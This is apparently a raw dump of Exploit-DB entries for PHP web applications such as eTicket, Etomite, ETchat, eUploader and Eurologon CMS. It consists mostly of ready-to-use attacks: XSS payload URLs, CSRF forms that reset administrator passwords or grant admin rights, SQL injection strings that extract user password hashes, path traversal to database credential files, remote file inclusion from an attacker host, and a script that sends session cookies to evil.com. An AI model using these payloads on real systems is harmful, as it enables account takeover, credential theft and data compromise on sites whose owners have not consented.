deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36898
Description: Etano 1.20/1.22 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-05
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/52295/info

Etano is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Etano versions 1.20 to 1.22 are vulnerable; other versions may be affected. 

http://www.example.com/etano/search.php?&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?st=&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?f17_city=&#039;";><script>alert(/XSS/)</script>&f17_country=0&f17_state=0&f17_zip=3&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=&#039;";><script>alert(/XSS/)</script>&f17_state=0&f17_zip=3&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=&#039;";><script>alert(/XSS/)</script>&f17_zip=3&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=&#039;";><script>alert(/XSS/)</script>&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=3&f19=&#039;";><script>alert(/XSS/)</script>&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=3&f19=0&st=&#039;";><script>alert(/XSS/)</script>&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=3&f19=0&st=basic&wphoto=&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?search=&#039;";><script>alert(/XSS/)</script>&v=g

http://www.example.com/etano/search.php?search=51d43831f5dde83a4eedb23895f165f6&v=&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?st=xss";><script>alert(/XSS/)</script>&user=unknown
Exploit-DB #40701
Description: ETchat 3.7 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-11-03
Author: Hesam Bazvand

Exploit:
# Exploit Title: ETchat(persian version) CMS Xsrf vulnerability
# Exploit Author: Hesam Bazvand
# Contact: https://www.facebook.com/hesam.king73
# Software Link: http://dl.20script.ir/script/chat/et-chat-3.7-Persian(www.20script.ir).zip
# Tested on: Windows 7 / Kali Linux
# Category: WebApps
# Dork : User Your Mind ! :D
# Email : Black.king066@gmail.com
#special thanks to my best friend Aryan Bayani Nejad

<html>
<body onload="document.frm1.submit()" >

<script>
var f = document.createElement("form");
f.setAttribute('method',"post");
f.setAttribute('name',"frm1");
f.setAttribute('action',"http://localhost/etchat/?AdminCreateNewRoom");

var i = document.createElement("input"); //input element, text
i.setAttribute('type',"text");
i.setAttribute('name',"room");
i.setAttribute('value',"<ScRiPt \>window.location.replace(\"http://evil.com\" + encodeURIComponent(document.cookie))\</ScRiPt\>");



f.appendChild(i);


//and some more input elements here
//and dont forget to add a submit button

document.getElementsByTagName('body')[0].appendChild(f);

</script>




</body>
</html>
Exploit-DB #23218
Description: EternalMart Mailing List Manager 1.32 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-10-04
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8767/info

EternalMart Mailing List Manager and Guestbook are prone to remote file-include vulnerabilities. Remote attackers may cause malicious PHP code to run on the webserver. 

http://[target]/admin/auth.php?emml_admin_path=http://[attacker] will
include the file :
http://[attacker]/auth_func.php

http://[target]/emml_email_func.php?emml_path=http://[attacker] will
include the file :
http://[attacker]/class.html.mime.mail.php
Exploit-DB #30984
Description: eTicket 1.5.5 - 'newticket.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-03
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/27130/info

eTicket is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect eTicket 1.5.6-RC3, 1.5.6-RC2, 1.5.5.2; other versions may also be affected.

The following proof-of-concept examples are available:

For eTicket 1.5.6-RC3: Create a ticket with the subject <SCRIPT>a=/XSS/;alert(a.source)</SCRIPT>
For eTicket 1.5.6-RC2: Create a ticket with the subject <script>alert(123)</script>
Exploit-DB #30253
Description: ETicket 1.5.5 - 'Open.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-06-27
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/24681/info

eTicket is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect eTicket 1.5.5 and 1.5.5.1; other versions may also be affected.

http://www.example.com/open.php?err=[xss]
http://www.example.com/open.php?warn=[xss]
Exploit-DB #30994
Description: eTicket 1.5.5.2 - 'admin.php' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2008-01-07
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/27173/info

eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.

These issues affect eTicket 1.5.5.2; other versions may also be affected.

<html>
<body>
<form id="csrf" name="csrf"
action="http://www.example.com/eTicket/admin.php?a=my" method="post">
<input type="hidden" name="a" value="my">
<input type="text" name="username" value="admin"><br>
<input type="text" name="name" value="admin"><br>
<input type="text" name="email" value="mail@example.com"><br>
<input type="password" name="password" value="&#039;) OR (&#039;1&#039;=&#039;1"><br>
<input type="password" name="npassword" value="hacked"><br>
<input type="password" name="vpassword" value="hacked"><br>
<textarea name="sig" cols="30" rows="5">&lt;/textarea&gt;<br>
<input type="submit" name="submit" value="Save Changes"><br>
</form>
<script language="JavaScript">document.getElementById(&#039;csrf&#039;).submit.click()</script>
</body>
</html>
Exploit-DB #30997
Description: eTicket 1.5.5.2 - 'admin.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-01-07
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/27173/info
   
eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.
   
These issues affect eTicket 1.5.5.2; other versions may also be affected.

http://www.example.com/eTicket/admin.php?a=headers&msg=SQL&#039;
Exploit-DB #30996
Description: eTicket 1.5.5.2 - 'search.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-01-07
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/27173/info
  
eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.
  
These issues affect eTicket 1.5.5.2; other versions may also be affected.

http://www.example.com/eTicket/search.php?s=advanced&text=test&cat=&status=open&#039;SQL&search_submit=Search
Exploit-DB #30995
Description: eTicket 1.5.5.2 - 'view.php?s' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-07
Author: L4teral

Exploit:
source: https://www.securityfocus.com/bid/27173/info
 
eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.
 
These issues affect eTicket 1.5.5.2; other versions may also be affected.

http://www.example.com/eTicket/view.php?s="><script>alert(document.cookie)</script>
Exploit-DB #31069
Description: eTicket 1.5.6-RC4 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-28
Author: jekil

Exploit:
source: https://www.securityfocus.com/bid/27473/info

eTicket is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

eTicket 1.5.6-RC4 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php/"><script>alert('XSS')</script>
Exploit-DB #35601
Description: Etki Video PRO 2.0 - 'izle.asp?id' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-11
Author: Kurd-Team

Exploit:
source: https://www.securityfocus.com/bid/47298/info

Etki Video Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Etki Video Pro 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/izle.asp?id=254 [SQL Injection]
Exploit-DB #35602
Description: Etki Video PRO 2.0 - 'kategori.asp?cat' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-11
Author: Kurd-Team

Exploit:
source: https://www.securityfocus.com/bid/47298/info
 
Etki Video Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Etki Video Pro 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/kategori.asp?cat=1 [SQL Injection]
Exploit-DB #15660
Description: etomite 1.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-02
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22710
Reference: http://www.htbridge.ch/advisory/sql_injection_in_etomite.html
Product: Etomite
Vendor: http://www.etomite.org/ ( http://www.etomite.org/ ) 
Vulnerable Version: 1.1
Vendor Notification: 18 November 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in search variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://etomite/index.php?id=14" method="post" name="main" >
<input type="hidden" name="search" value="pentest')/**/union/**/select/**/1,2,3,@@version/**/#" />
<input type="submit" value="submit" name="submit" />
</form>

SQL Injection:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in referer variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


GET /index.php HTTP/1.1
Referer: 12345'SQL_CODE_HERE

XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/manager/index.php" script to properly sanitize user-supplied input in "location" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:


http://[host]/manager/index.php?location=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Local File View:
Vulnerability Details:
The vulnerability exists due to failure in the "/manager/actions/static/document_data.static.action.php" script to properly sanitize user-supplied input in "id" variable.
A remote user can view any local file.


http://etomite/manager/actions/static/document_data.static.action.php?id=/../../../../includes/config.inc.php%00

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "/manager/frames/3.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/manager/frames/3.php
Exploit-DB #38754
Description: eTransfer Lite - 'file name' HTML Injection
Type: webapps
Platform: php
Date: 2013-09-10
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/62313/info

eTransfer Lite is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

eTransfer Lite 1.0 is vulnerable; other versions may also be affected. 

<bq>The following files are hosted live from the iPad's Docs folder.</bq><p><b>Images:<br><br></b>
<a href="http://www.example.com/%3C[PERSISTENT INJECTED SCRIPT CODE!]%3Es2.png"><[PERSISTENT INJECTED SCRIPT 
CODE!]">s2.png</a>
(    51.8 Kb, 2013-08-25 02:09:25 +0000)<br />
<a href="a2b642e7de.jpg">a2b642e7de.jpg</a>
(   238.0 Kb, 2013-08-25 02:08:13 +0000)<br />
</p><br><br><br><hr><br><br><br><center><form
 action="" method="post" enctype="multipart/form-data" name="form1" 
id="form1"><label>Upload file to iPad  <input type="file" 
name="file" id="file" /></label><label> <input 
type="submit" name="button" id="button" value="Submit" 
/></label></form></center><br><br><br>Powered
 By <a 
href=http://www.example.com</a></body></html></iframe></a></p></body></html>
Exploit-DB #10499
Description: eUploader PRO 3.1.1 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-16
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: eUploader PRO 3.1.1 (XSRF/XSS) Multiple Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 16. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: eUploader PRO
[#] Version: 3.1.1
[#] Platform: PHP
[#] Link: http://www.euploaderpro.com/
[#] Price: ~70 USD
[#] Vulnerability: Permanent XSS and XSRF Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

Word or two: I've tested version 3.1.1 but i'm sure that other
versions are vulnerable to following exploits.

[#]Content
 |--Edit user settings (Add admin privilege)
 |--Remove item by id
 |--Edit appearance - Permanent XSS

[*]Edit user settings (Add admin privilege)

On eUploader PRO script there is no cross site request forgery
protection and we can use this to edit any user's profile and set him
regular or master admin privileges, change email and password. The
only thing required is ID of the user we want to edit.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/admin.php?page=user&id=[ID]" method="post">
  <input type="hidden" name="id" value="[ID]">
  <input type="hidden" name="admin_access" value="2">
  <input type="hidden" name="email" value="my@email.com">
  <input type="hidden" name="pass" value="hacked">
  <input type="hidden" name="pass2" value="hacked">
  <input type="submit" name="edit" value="Submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[-]Remove item by id

This will remove uploaded file by its id.

[POC----------------------------------------------------------------------------------------------]
http://localhost/admin.php?delete=[ID]
[POC----------------------------------------------------------------------------------------------]

[+]Edit appearance - Permanent XSS

In the edit appearance section in admin panel we can edit html code of
header and footer. Those 2 fields are vulnerable to XSS injection and
also they is seen in the front end of this upload script. Link:
http://localhost/admin.php?page=appearance

[#]EOF
Exploit-DB #4666
Description: Eurologon CMS - 'files.php' Arbitrary File Download
Type: webapps
Platform: php
Date: 2007-11-27
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Eurologon CMS Db credentials disclosure / files download

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC

The download module, not correctly check the file parameter, then using 
directory traversal we can get all the files hosted in our target web space.
---------------------------------------------------------------
Get Database Credentials

http://[target]/users/files.php?mode=download&file=../../application.php
---------------------------------------------------------------

# milw0rm.com [2007-11-27]
Exploit-DB #4665
Description: Eurologon CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-11-27
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Eurologon CMS reviews.php/links.php/articles.php SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC

Useless..
---------------------------------------------------------------
Exploit

http://[target]/reviews.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
http://[target]/links.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
http://[target]/articles.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
---------------------------------------------------------------
Result

You will see the disclosed informations under some mysql errors like:

Can't execute query

[QUERY]
		

MySQL Error: The used SELECT statements have a different number of columns
Can't execute query

[QUERY]	

MySQL Error: The used SELECT statements have a different number of columns
Can't execute query

[QUERY]	

MySQL Error: The used SELECT statements have a different number of columns

Home >  [category_name] > [category_name] > [admin_name]:[admin_hash]
---------------------------------------------------------------

# milw0rm.com [2007-11-27]